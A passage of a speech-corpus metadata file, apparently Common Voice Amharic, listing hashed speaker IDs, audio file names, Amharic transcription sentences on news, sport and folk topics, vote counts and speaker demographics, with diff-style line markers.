16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38629721.mp3 a38eb0e502be9e16119ad140c26f0050e09b69751b63d98890692fce813aae83 ጠቅላይ ሚኒስትር ዐቢይ አሕመድ ለትንሳኤ በዓል የእንኳን አደረሳችሁ መልዕክት አስተላልፈዋል፡፡ 2 0 thirties male_masculine am
|
| 105 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38629723.mp3 b51dbb37f90aa518ff33d8095c5cb56da183ade479c90a6660e3f5aae9899ca7 ነገር ግን ጣፋጭ ትወድ ነበር። 2 0 thirties male_masculine am
|
| 106 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38629724.mp3 9f7e1d315e1e91909504bcaf4cbe0d5a8e38b802f50eeae58746ed76e0b68a08 መሥሪያ ቤቱ የገዳሙ መሪ የስልክ ልውውጥ ነው ያለውን የድምፅ ቅጂ ዩቲዩብ ላይ ለጥፏል። 2 0 thirties male_masculine am
|
| 107 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38629746.mp3 5a0aaf8cb65b61e99f8bb6debd41d5319fd33b872d91260bca6cc6f9355c858a የኦሎምፒክ ወርቅ አሸናፊ የሆነው ሞ ፋራህ ዛሬ ከእኩለ ቀን ላይ በሚጀመርው ውድድር ተጠባቂ አትሌት ነው። 2 0 thirties male_masculine am
|
| 108 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38629747.mp3 a4f3042d334dc47176bf1172a2c0d674aa80f74e8272d74cc722808cc5251190 ህዝቡም ሲቪል አስተዳደር ስለሚፈልግ ዓለም አቀፍ ጫና ተጨምሮበት ከስምምነት ከደረሱ ተስፋ አለ። 2 0 thirties male_masculine am
|
| 109 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38629748.mp3 6edc1ac6a5d18666795a7f2159aa6bc18536a999e84552f5b6b16e17220f3701 አንደኛችን ይህንን መሃላ ብንተላለፍ የወለድነውን ልጅ እግዚአብሔር ይገድለዋል፡፡ 2 1 thirties male_masculine am
|
| 110 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38629775.mp3 92f2ebc35f2faf799a5cec4f1d2fb2ac74800e0cc8bf26e468e0daebf82f0f36 የጀርመኑ ጀኔራል አርሚየስ ቴውበርግ ፎረስት በተሰኘው ጦርነት ሮማውያንን ድል ከነሳ በኋላ የሮማ ወታደሮች እንዲሰቀሉ አዘዘ። 2 0 thirties male_masculine am
|
| 111 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38629777.mp3 41714a4b6ec67b0e6a38aa04f4fbc91ef0f708c40dd9332ccbe73291faa00558 የተቀበሩ ፈንጂዎች የሰው ሕይወትን ይቀጥፋሉ አካልን ያጎድላሉ። 2 0 thirties male_masculine am
|
| 112 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38629787.mp3 a92ca8b0f29d5170ada131648fc5693039d2b3c06fd80adac008d6cf3caa3858 ሆኖም አስከሬኗ እስካሁን አልተገኘም። 2 0 thirties male_masculine am
|
| 113 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38629788.mp3 847ee3a2151e59be15af3bda86baf96b873024613f513091abfafe382ec2ae49 በተደረገ ፍተሻም ሰዎቹ ወታደራዊ ዩኒፎርም የሚለብሱበት ቦታ እንደተገኘ ከንቲባው ጨምረው ገልፀዋል። 2 0 thirties male_masculine am
|
| 114 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38629815.mp3 a12462d47bbe3869224253e32af1db93aff5000bd9569cda81e82405e4bc937e ጨምረውም ኢትዮጵያ ጎረቤት አገራትን መርዳት ይኖርባታል ብለዋል። 2 0 thirties male_masculine am
|
| 115 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38629817.mp3 9a6798ca26c907db927b6e95e9115ebdfd3dfd032e1a7bfd75904c4348beca9c ኢፍጣር ላይ በቴምር እና በውሃ መወሰን ጥሩ ነው። 2 0 thirties male_masculine am
|
| 116 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583116.mp3 9c587769e5df09e7119c4551df2f2018e7efdd00bb442c3e54d7df0b4164af9c ሊያሳስት በሚችል ደረጃ እውነት ይመስላል በሚልም ነው የተዋወቀው። 4 0 twenties male_masculine Native speaker am
|
| 117 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583117.mp3 a739b4c8a343ea221e276c3b3a52b0637c44fd77cb2f8d17b98f9ce5d483a772 ሄምቲ በየመን ውስጥ ሳዑዲ አረቢያ ለምትመራው ጥምር ጦር የሚዋጉ ወታደሮችን በገፍ በማቅረብ ይታወቃሉ 4 0 twenties male_masculine Native speaker am
|
| 118 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583118.mp3 3b599272be4a279d50789ff12861a82aa89007c5f168cb33105b9f416ae37e87 ለዚህ ያበቁህ ገዳዮችህ ተጠያቂ ሆነዋል እላለሁ። 4 0 twenties male_masculine Native speaker am
|
| 119 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583119.mp3 1b69fb3c6e92aadd28820791e02434765807a1b2c174eddd0099946097fb36da ከሊቨርፑል ጋር አቻ ይለያያሉ ብዬ ገምቼ የነበረ ቢሆንም ስድስት ገብቶባቸው ተሸንፈዋል። 4 0 twenties male_masculine Native speaker am
|
| 120 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583120.mp3 87cbd9ba56e9cc662ce117eef3100c2e63b9b9b0bb42cc91d161058b3198dff0 የልጅ ልጄ ደግሞ ፈረሱን እንኳን ቢይዘው ፈረሱ መጥቶ ይረግጠዋል፡፡ 4 0 twenties male_masculine Native speaker am
|
| 121 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583135.mp3 9106fd83bfa4349562960964266338c2f02560f0103ac25602412761f09dddf5 እንቆቅልሾችን መፍታት ትችላለህ ሲለው:: 4 0 twenties male_masculine Native speaker am
|
| 122 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583136.mp3 703dc7e3c5a12e60d1564eb86fbd2e4ec968ac999672bafbdc9ef447c5a0e279 ሄምቲ የአረብ ሚሊሻዎች ስብስብ የሆነው የጃንጃዊድ አዛዥ ነበሩ። 4 0 twenties male_masculine Native speaker am
|
| 123 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583137.mp3 9cd66f9c25aba92ddaae2e3df81490965c69b4ecf79ab116c1bbc910c4a2fab5 ሰውየውም እንደገና አጥንቶቹን በሙሉ ከመረቁ በፊት በላሁ፡፡ 4 0 twenties male_masculine Native speaker am
|
| 124 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583138.mp3 af93bd1d9000d99b67d71b6bec2caa8e6fc1e02a04824f8fcaf32fe2ab2151b8 በመላው ዓለም ከጋብቻ ቃል ኪዳን ከሚታሰርባቸው ቀለበቶች አንስቶ እስከ ተለያዩ ጌጣጌጦች ድረስ ከወርቅ ይሰራሉ። 4 0 twenties male_masculine Native speaker am
|
| 125 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583139.mp3 95475cee73179b39dbbdaf3f84ea807fb1daaf6d68d6067a4d4300ec2ee2a0e5 ከመብላት ይልቅ መተኛትን እንደሚመርጡት ሁሉ ከመጠን ያለፈ ምግብ በመመገብ ሌሊቱን የሚያሳልፉም አሉ። 4 0 twenties male_masculine Native speaker am
|
| 126 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583155.mp3 a8f146a93d6111fb1e12f107da29a1cf81046c823e0873cdebe3f333d5a840bc ነጥረው የወጡ የመሰሉኝን አንድ ሁለት ቁምነገሮችን ላንሣና እንድታነብቡት ልቆስቁስ። 4 0 twenties male_masculine Native speaker am
|
| 127 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583156.mp3 59edc8c9a41018ec88c22ec743e05b4c8b68b58b602245c3c3a1c2fb08f8972d ሂደቱ በጣም ከባድ አስጨናቂ እንዲሁም ትርምስምሱ የወጣ ሊሆን ይችላል። 4 0 twenties male_masculine Native speaker am
|
| 128 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583157.mp3 8ffe503407535d7a964e70bec2438905f14b164cc4352f3feaacabf7f3f60586 አሁን ወደቤት ባትመለሺ ነው የሚሻልሽ፡፡ 4 0 twenties male_masculine Native speaker am
|
| 129 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583158.mp3 a4016d8a90ec121cd83ad8ac007fffe02a9f29b8d0203666985f2ceb9f0efc2c አንተ ከብቶች ስላሉህ መሬት እንድሰጥህ ከፈለክ የተወሰኑ ከብቶች ስጠኝ አለው፡፡ 4 0 twenties male_masculine Native speaker am
|
| 130 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583159.mp3 9e5c3873a57225eb8aa43260f4408472119cde9952b196a57d9d1cdf368d60d3 ቋሚውን ካላመጡ የሚከተላቸው ስቅላት ነውና ሩቅና ሰፊ ግዛትን ያካለለ ፍለጋ አደረጉ፡፡ 4 0 twenties male_masculine Native speaker am
|
| 131 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583170.mp3 063bd1d8bdc758e2c4e9d9e71ee1f7bc31cae3ff2f3e4fd5d8c0e8fe0f9bf41d በ ሁለት ሺ አስራ አራት መንግሥታቸው ተገለበጠ። 4 0 twenties male_masculine Native speaker am
|
| 132 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583171.mp3 2231a935d7a9fd75a2166d7cb467bf7c9b630c0a15fdf1f2e3bd1ce9d9c96779 ይህ ጥያቄ ከተመለሰ ረዥም ዕድሜን ጤነኛ ሆነን እንገፋለን ይላሉ ተመራማሪው። 4 0 twenties male_masculine Native speaker am
|
| 133 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583172.mp3 a9a3f54ff8cd3bc96eb555640660b21650a32e4d22fefa224c8dfa854aa3b3ec አሁን ኦንጎታን አምስት ሰዎች ብቻ የሚናገሩት ቋንቋ ነው። 4 0 twenties male_masculine Native speaker am
|
| 134 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583173.mp3 97f2159b0a502606e11c0ade31e2c7ea581953af9337f544a0419d53d169dd34 በዚህ ቃለ ምልልስ ምክንያት አፋጣኝ እርምጃ እንወስዳለን። 4 0 twenties male_masculine Native speaker am
|
| 135 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583174.mp3 a12c0702b254869aa82f5cb217b5ac57b3d20e55766336a8152697dca659bd5c ጄነራል ቡርሃን የረጅም ዘመን ወታደር ናቸው። 4 0 twenties male_masculine Native speaker am
|
| 136 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583281.mp3 7908d136bb960c60fe3a83d4c91085f4f58dc2b15d25f4f8a73e129344373f47 የግብጽን ጣልቃ ገብነትም ይፈራል። 4 0 twenties male_masculine Native speaker am
|
| 137 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583282.mp3 8582865e66a579164c710b0ef39dfdab464c791488b4bd2a45fddd7ed252e2f0 እናቶች በተለይ የመጀመሪያ ልጃቸውን ከወለዱ በኋላ በአጭር ወራት ውስጥ ወደ ሥራ እንዲመለሱ ይገደዳሉ። 4 0 twenties male_masculine Native speaker am
|
| 138 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583283.mp3 90fe3c31b47725d24d87aa89ca679f2cdc5713af45bb78b48555e0ee8804b683 በዚያ ቦታ የተቀሩት ሰዎች አምስት ሊሆን እንደማይችል አውቀናል ብለዋል 4 0 twenties male_masculine Native speaker am
|
| 139 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583284.mp3 946b2353d486c099576c36d8471dfd71d059848d009e542f486d8a3ea6102804 ሰውየውም አንበሳውን ከወጥመዱ አወጣው፡፡ 4 0 twenties male_masculine Native speaker am
|
| 140 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583285.mp3 8a1cebfe30aa5f20e2a294d6f7cd7b6adaf7cde1a30dcccb5281385af851ace8 ነገር ግን አዋቂ የሚያልፍባቸውን ስሜቶች ሁሉ ልጆችም ያልፉባቸዋል። 4 0 twenties male_masculine Native speaker am
|
| 141 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583319.mp3 319a8179bbe43473215454bc735c06a8e10144e58dabc817a6a2aa8a1ca24535 እንደማትቀበል በተደጋጋሚ ስትገልጽ ቆይታለች። 4 0 twenties male_masculine Native speaker am
|
| 142 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583320.mp3 17548495d0b6a060935c8e4328a7037a53384857b71af5c89b9e680c7461c92c የቀድሞው የማሌዥያ ጠቅላይ ሚኒስትር በርካታ ሚሊዮን ዶላሮችን ዘርፈዋል በሚል ነው አስራ ሁለት ዓመት የተፈረደባቸው። 4 0 twenties male_masculine Native speaker am
|
| 143 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583321.mp3 a2c082ae5800d0453f7efd18872ed2b53283ad489ccbf4a762a4b6dc4a991800 በ ሁለት ሺ አስራ ሁለት ደግሞ ግብር አጭበርብረዋል ተብለው ተከሰው ነበር። 4 0 twenties male_masculine Native speaker am
|
| 144 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583322.mp3 5829ab1f7daae4723cbf1d8d6b664f15807dafb069cdafeac3c0b13af3a11dc1 በዚህም ግብፅ ስልሳ ስድስት በመቶ የውሃ ድርሻ ሲኖራት ሀያ ሁለት በመቶ ደግሞ የሱዳን ነው። 4 0 twenties male_masculine Native speaker am
|
| 145 |
+
61a2e0a429d2d1c7962eb3c273241bc0d25d10f48992c3ea3723656bd9177535a3452742726af657ed79ea39424fd4979ebffcb36e68d025865df69a9bdef7d9 common_voice_am_38583323.mp3 87212d383a00d2bcc67a3b76c40f2dedd6dcb681bda3d7a9a3ed1e85fbd59f9b ሆኖም ጄነራል ቡርሃን አክራሪ ሙስሊሞችንና የቀድሞ አገዛዝ አመራሮችን ወደ ቀደመ ቦታቸው መመለስ ጀመሩ ሲሉም ተናግረዋል። 4 0 twenties male_masculine Native speaker am
|
| 146 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39631548.mp3 afbc587df4ba26d95b0276a8017cfda61063e0c4db2c698c2417d0eb5ad82bc8 ወደ ቤት ወስዶ ተካፍሎ መብላት ማኅበረሰባዊ እና ቤተሰባዊ ሁኔታ ላይ አዎንታዊ ሚና እንዳለው ይጠቅሳሉ። 2 0 am
|
| 147 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39631549.mp3 c0a8f4c76e6df24d5dca1af8cc786ca8dcf9ed8a8dafdb5c591e86b84ce1822d እንሳቅ አዲሱም ልብሳችሁ ይመቻችሁ፡፡ 2 0 am
|
| 148 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39638982.mp3 53f7c032636c8a93ca6c308c8608fbc7e407118741b82cb99e144975406323f6 ኒውካስል እና ቶተነሃም የሚያደርጉትም የብዙዎችን ቀልብ ይዟል። 2 0 am
|
| 149 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39638983.mp3 a86765f3347ac720e2c1876d459de1be11322e34467967b79bdaf066cd4f84f5 ርዕሰ መስተዳድሩ ዶና ፍራንሲስ ዘር እና እምነት ሳይገድባቸው ለሰብዓዊነት የኖሩ ባለውለታ ስለመሆናቸው ገለጹ። 2 0 am
|
| 150 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39638984.mp3 7cad95aaaf5780026169b2f0ada15022f1ae5e3e091055f0cb0bd19ce40b1587 ከሊጉ ላለመውረድ ከሚደረጉ ትንቅንቆች መካከል አንዱ ይህ ጨዋታ ነው። 2 0 am
|
| 151 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39638985.mp3 a555c8a075541686f2744e8e878b63ded663b360d150145032f5fd73267e10f8 ግጭት ባይኖር እንኳን ውጥረት የሰፈነበት ቀጠና ነው። 2 0 am
|
| 152 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39638988.mp3 b6b652fe4fdd2af21d650de90cfb000c186f040de7ead84cc3cebd05cf6d7924 የገጠማትን የውጭ ምንዛሪ እጥረት በመሸፈን አስፈላጊ ለሆኑ የገቢ ምርቶች ክፍያ ለመፈጸም ድጋፍ ያስፈልጋታል። 2 0 am
|
| 153 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643172.mp3 a5a2c774cc428cd3fb17ca7f8f7028ced681fef31b02e2f75dc8e2713a0ea5ab ወደ ጎረቤቶቹና ወደ ዘመዶቹ በመሄድ ጥራጥሬ እየለመነ ለቤተሰቡ ወደቤት ይዞ ይመጣ ነበር፡፡ 2 0 am
|
| 154 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643176.mp3 a83e34ccd4490173fdb16bf177a77d5e9b68062036b7e81cc2fa31f2a6cdce97 ግድቡ የሚይዘው የውሃ መጠን ሰባ አራት ቢሊየን ኪዩቢክ ሜትር ነው 2 0 am
|
| 155 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643199.mp3 1c9e3992a674bc3d7a59c5db784c2ed81e532b368ae52172b1d39cad053519c6 በኢትዮጵያ ዘመን አቆጣጠር ዓመታት ሁሉ በአራት መደባት ይዞራሉ። 2 0 am
|
| 156 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643200.mp3 c0f9118bc91b35ceb6b55ea15d2ba4ff3d75d3532facfa2a7e358ba87e2b3441 ቀደም ሲል የተደረሱ ሁለት የተኩስ አቅም ስምምነቶች ተግባራዊ ሊሆኑ አልቻሉም። 2 0 am
|
| 157 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643201.mp3 9b49ab8014a5ef1cabef310e69a5c10e100e49b6a367d533373f6f63bb4b1516 ይህንንም ከፌደራል ደኅንነት መሥሪያ ቤት ለመጡ አካላት ማስረዳታቸውን ምክትል አስተዳዳሪው ገልጸዋል። 2 0 am
|
| 158 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643233.mp3 baf5454de2535e557579c83991d39c72d3f6b0c3fd5f611574d2ae1b4914359f በዚያው ዓመት ሰኔ ወር ላይ ኢትዮጵያ ሁለተኛውን የውሃ ሙሌት አካሂዳለች 2 0 am
|
| 159 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643255.mp3 4d9e79de35f7bd87f0b0468322aa7311a40bc9c30c14e873406d84601a20b565 ይህንንም ተከትሎ ግብፅ እና ሱዳን ለፀጥታው ምክር ቤት ያስገቡት ቅሬታ ላይ ምክር ቤቱ ተወያይቷል። 2 0 am
|
| 160 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643256.mp3 afa9718253d13f84bcea599fd58aeedc9c2216a4514698181f969d0cfe72fc80 ሁለቱም ክለቦች በሊጉ መልካም የሚባል ጊዜን እያሳለፉ ይገኛሉ። 2 0 am
|
| 161 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643288.mp3 a64b7f9396dca2ca11a659a8a218d6209c2e34c31bec31c1df58b1d89279d71d ኑሮው ቀን በቀን ይፋጃል። 2 0 am
|
| 162 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643327.mp3 6ceadfb061f7e376d7f13d4951e7bd6582cd813b6b83adbe9168690effcf64b3 ከእነዚህም መካከል የሲሚላኔ ጉዳይ አንዱ ነው። 2 1 am
|
| 163 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643328.mp3 570333359c6c354fa5dff16413961333582a38b20620a2a7ae176ab3794fa0c1 አንዳንዶች ፊልምና ዶክመንታሪ ይሰራሉ። 2 0 am
|
| 164 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643368.mp3 bcf6de3754d44e965669a7a4260ac25696b85307a5a46c71bbdad5e9a76ec9d7 በዚህ ሳምንትስ አርሰናል እና ዩናይትድ እንዴት ይሆናሉ? 2 0 am
|
| 165 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643423.mp3 ae4a830f184eec6aac63ab7f4111782046e7721f5f48da9c53f3e9555fdc8199 አንተን ልረዳ የምችልበት አቅም የለኝም፡፡ 2 0 am
|
| 166 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643425.mp3 22aec820b64b4db6eef7a2027fa2264bb73c3ae7b7f343db56ed9c2bfacce06d ሁሉንም ማመልከቻዎች የሚዘረዝሩበትን መንገድ ያቀናጁ። 2 0 am
|
| 167 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643455.mp3 8e4e824979c7dadde28e669eb7349ed4b77921de7692da898c6243190c3b8821 ቀበሮዎቹ ከሊጉ መሰናበት ካልፈለጉ ይህን ጨዋታ ማሸነፍ ግዴታቸው ነው። 2 0 am
|
| 168 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643456.mp3 22d0bc99d72a6557ecc61a193a7c2fe6ff4a47f48ca3e628e7f840b06a110a97 ሁለተኛው ምክር ስለሆነው ነገር ሁሉ አትቆጭ ካለችው በኋላ ዝም አለች፡፡ 2 0 am
|
| 169 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643458.mp3 7f73eb9a69fba89707c327e8cfd72bcab7d364fb37aca71f7b689d16a218040b ባልየውም ለራሱ እንግዲህ ሚስቴ ‹እህቴ› ብላ ወንድ ይዛብኝ መጣች፡፡ 2 0 am
|
| 170 |
+
